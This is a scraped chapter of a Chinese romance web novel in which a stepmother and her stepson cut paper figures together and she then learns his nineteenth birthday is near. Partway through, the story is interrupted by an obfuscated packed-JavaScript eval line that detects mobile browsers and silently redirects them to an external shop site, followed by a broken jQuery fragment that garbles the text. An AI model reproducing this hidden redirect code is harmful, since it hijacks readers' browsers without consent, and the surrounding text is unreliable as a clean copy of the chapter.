文趣网 > 都市小说 > 美艳继室被暴君强夺后 > 46. 第 46 章
    李宓走后,桓铮又靠得离叶菱馥近了些。

    他的膝盖彻底贴上她的腿,隔着层层叠叠的衣料,各自感觉到彼此身上的热意。

    “在剪彩人?”桓铮看着她手里的红绢。

    “嗯。”叶菱馥应了一声,剪刀在绢面上转了个弯。

    她寻思片刻,又将那一摞剪完的彩人往他面前推了推:“贴的剪完了,现在剪的是戴的,你也挑一个,戴在发髻上,讨个吉利。”

    “剪给阿婧戴还差不多,我年纪大了,戴着多幼稚。”桓铮撇了撇嘴。

    虽然这么说,可他好奇叶菱馥究竟剪了些什么样子,小心在一片花花绿绿中拨弄。

    拨到最底下,桓铮忽然瞧见什么,目光一凝,伸出两根手指捡出一个,举到眼前端详。

    小人只有他半个巴掌大,剪得极为精细,眉眼俱全,衣袂翩然,腰间还缀了一枚梅花形状。

    “刚才还说幼稚,现在又拿着不放,挑着喜欢的了?”叶菱馥依旧低着头,余光瞥见身边人停了动作,随口调笑。

    桓铮眉梢一挑,没回她“喜不喜欢”的话。

    “这个倒是像我。”

    叶菱馥一阵惊慌,搁下手里剪了一半的彩人,抬起眼瞪他:“胡说八道什么,那是个仙女。”

    “哦。”桓铮把彩人翻了个面,举在她面前。

    他另一只手懒洋洋地撑着脸,笑得意味深长:“这仙女难道是梅花仙?身上和我一样,都带着梅花。”

    叶菱馥面上腾地热了,她方才剪的时候确实想着他。

    他这段时间熏的香是她制的梅花香粉,于是不自觉就把梅花形状添了上去,没想到他不仅眼睛毒,还要如此不留情面地揭穿她。

    她伸手去夺:“给我,还没修整好。”

    桓铮手一抬,瞬间举高了些。

    他本身就高,坐着也比她高出半个头,这一举,叶菱馥够不着,身子不由往前倾了倾,几乎贴在他身上。

    炭火的暖意烘在两人之间,她闻到他身上的梅花香,和炭火的热搅在一起。

    桓铮垂着眼,叶菱馥的手腕正举在眼前。

    那截腕子白得晃眼,袖口滑落,露出一小截羊脂玉似的小臂,白嫩细腻,像他最爱喝的鱼骨汤。

    他轻咳一声,炭火烧得太旺,这屋子也太闷了些,叫他身上泛起燥热。

    他随即把彩人往她手心一放,面上罕见地露出几分赧然:“拿走便是,又不稀罕。”

    “不稀罕你还抢。”叶菱馥接过来,低回头继续剪,耳根的热意却久久不退。

    她低着头,额前的碎发垂下来遮住了半边脸,只露出一截泛红的耳尖。

    她能感觉到他的目光还落在自己身上,若有若无地拂过她的发顶。

    她不抬头,手里剪刀咔嚓咔嚓响得格外清脆:“你今日可还有旁的事?”

    “无事。”

    “既无事,便帮我一同剪吧。”叶菱馥说着,将一叠彩帛推到他面前。

    给他找点事情做,估计就不会贫嘴了,叶菱馥如是想。

    桓铮一愣,低头看了看那些花花绿绿的绢帛,眉头微微皱起。

    桓府的人都知道,桓铮从小到大都是个十指不沾阳春水的人,舞刀弄剑是一把好手,让他捏剪刀做这些精细活儿,怕是比让他带兵打仗还难。

    “我手拙。”桓铮下意识推辞。

    “剪着玩罢了,又不求巧夺天工。”叶菱馥不容他拒绝,又将一把剪刀递过去,“你剪贴在窗上的,那些大一些,简单。”

    她眼中的期待太多,他无法拒绝。

    最终他还是接过,犹豫半天,才下定决心捏起一片红绢,学着叶菱馥方才的动作,慢慢落下剪刀。

    他剪的第一片便不成样子,人形歪歪扭扭的,头大身小,两只胳膊一长一短,腰间本该是衣带的地方被他剪了个大窟窿,好好的彩人被他弄得十分滑稽。

    叶菱馥看了一眼,“噗嗤”一声笑出来。

    “笑什么?”桓铮立刻注意到了,语气不善,却遮掩不住害羞。

    “没笑。”

    叶菱馥收敛神色,低下头继续剪自己的,一转一弯,一片绢帛就变成了一个捧着莲花的童子。

    “你明明笑了。”

    “笑了又怎样?”

    “你怎么还耍赖?”

    听他跟个小孩似的,控诉自己耍赖,叶菱馥终究还是没忍住,声音中又染上笑意:“剪坏便剪坏,贴窗户上谁又会细看。”

    她又自己剪好的一片递过去比了比,“喏,照着这个剪。”

    桓铮捏着她递过来的彩人,盯着她问:“你是不是嫌弃我剪得不好?”

    他眉头皱着,嘴唇抿成一条线,长这么大,头一次感到窘迫。

    他从小什么都要强,做什么都要拔尖,如今剪个彩人剪得歪歪扭扭,自然觉得丢了面子。

    叶菱馥本来也是想让他干些活,好堵住他的嘴,可他非要揪着她说话。

    她抬起头来,眼睛弯弯的,无可奈何地笑:“阿铮,你今日话好多。”

    桓铮终究敌不过她,别过头去不再说话,任由耳根的薄红蔓延,比着她递过来的彩人认真剪起来。

    不知过了多久,剩下的绢帛都用完了,几案上整整齐齐地码着数十片彩帛人形,大小均匀,形态各异。

    叶菱馥剪的那些精致工整,栩栩如生,桓铮剪的那几片歪歪扭扭地夹在其中,格外显眼。

    “这个贴在窗户上,倒也……别有一番风味。”叶菱馥仔细挑选,终于勉强找出其中最好的一片,仔细端详。

    那片彩人歪歪扭扭的,头是个扁圆,两只胳膊长得可怕,一条腿粗一条腿细,怎么看都不像个人。

    桓铮嘴角抽了抽,知道自己剪得差强人意,偏又说不出什么来,只闷声道:“不必勉为其难,扔掉便是。”

    叶菱馥没接话,当真将那几片彩人分拣出来,放在一旁。然后唤来一个小丫鬟,指了指那几片彩人。

    “这几片,贴在后屋的偏厅窗户上,端正些,别弄皱了。”

    桓铮心里说不上是什么滋味。

    后屋的偏厅没什么人去,不是日日都要经过的地方。

    她到底是嫌他剪得丑,又不好意思扔掉,所以才贴到偏厅去,不必日日瞧着碍眼。

    桓铮心里有些发闷,像堵了一团棉花,按捺不住地想回西跨院,叫朔函去买些绢帛,好叫他练剪彩人。

    “我走了。”桓铮说。

    “这就走?不是说没事吗?”叶菱馥抬起头,有些意外。

    “现在有事了。”他不好意思久留,立刻站起身,拂了拂衣摆上沾的绢帛碎屑。

    话落不等叶菱馥挽留,转身便往外走。

    门帘一掀,冷风灌进来,他的身影很快就消失在了廊下。

    叶菱馥看着晃动的门帘,手里的剪刀还悬在半空,半晌才回过神来。

    这人,说走就走,脾气和他剪的彩人一样坏。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580175|202665||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想到他剪的彩人,叶菱馥低头看了看几案上那几片他剪的彩人,忍不住又弯了弯唇角。

    罢了,虽然贴在偏厅,但是自己屋子的偏厅,不会和他一样长脚跑了。

    ---

    廊下一阵喧哗,嬿儿和李宓一前一后往后屋走,差点和往外走的桓铮撞个满怀。

    嬿儿一个侧身避开,拍着胸口朝那背影望了一眼:“郎君这是怎么了?风风火火的,可吓人。”

    李宓也回头看了一眼,摇了摇头:“不知道,连招呼也没打一个。”

    两人进了屋,李宓走到炭盆边坐下,拿起自己方才剪了一半的彩人,同叶菱馥笑:“我方才去看了,阿婧还在睡呢,睡得香得很。想来是做梦了,随口梦呓了几句,下人听岔了。”

    嬿儿站在李宓身后,冲叶菱馥眨了眨眼。叶菱馥会意,知道嬿儿已经把李宓糊弄过去了。

    李宓重新拿起剪刀,正要继续剪,目光扫过几案,忽然愣住。

    “咦,方才不是还剩好些绢帛?怎么都剪完了。”

    她低头一看,几案上除了叶菱馥剪的那些精致彩人外,还多了几片歪歪扭扭的彩人,头大身小,胳膊一长一短,看着又滑稽又可怜。

    “这是……”李宓拿起一片,翻来覆去地看了看,又想起刚才桓铮急匆匆跑出去的样子。

    “这是郎君剪的?”李宓捂嘴笑。

    叶菱馥也忍俊不禁,点头道:“是他剪的。”

    李宓把那片彩人放回案上,摇了摇头:“我来将军府这么多年,从没见过郎君还有这样听话的时候。”

    “女君嫁进来这半年,这个家是真的不一样了。郎君从前啊,将军说什么他顶什么,谁也管不住他。如今倒好,你让他剪彩人,他便真的坐下来剪了。”

    叶菱馥没回话,只是笑,手指拨弄桓铮剪的彩人。

    李宓不知内情,当是桓铮终于懂事了。

    可只有她心里清楚,桓铮不是因为懂事了才会听她的话。

    他是喜欢她。

    叶菱馥正出神,李宓忽然像是想起了什么,轻轻“哎呀”了一声,放下手里的彩人。

    “女君,有件事……我不晓得您知不知道。”

    李宓顿了顿才接着说:“郎君十九的生辰快到了,还有五日。”

    “什么!这么大的事,他怎么也不跟我说?”

    叶菱馥心中一惊瞬间回神,才发现自己对桓铮了解竟这样少,连他的生辰是何日都不知道。

    “也许是郎君不愿铺张大办,这才没提前告知您呢。”李宓柔声安慰。

    叶菱馥十分懊恼,若是旁的年岁便也罢了,可十九岁是将冠之年,和寻常生辰不一样。

    按着士族的规矩,将冠的生辰理应提前准备,筮日、筮宾、戒宾、宿宾,一套仪程下来,少说也要提前七日准备。

    可眼下只剩不到五日了。

    “那你可知道阿铮的意思,他是要今年加冠,还是等二十?”叶菱馥数了数日子,低声问。

    “这我倒不清楚了,不如女君去问问?”

    叶菱馥点了点头,面上不动声色,心底却一阵翻江倒海。

    李宓拍拍她的手背:“女君别急,午后您和郎君还要去登高,有的是时间慢慢问,我在家让厨房先拟菜单子,琐事我来处理好,便只剩下大宴与礼单的事,女君拿主意便是。”

    “如今时间这样紧,只能这般行事了。”叶菱馥握住李宓的手,感激地冲她一笑。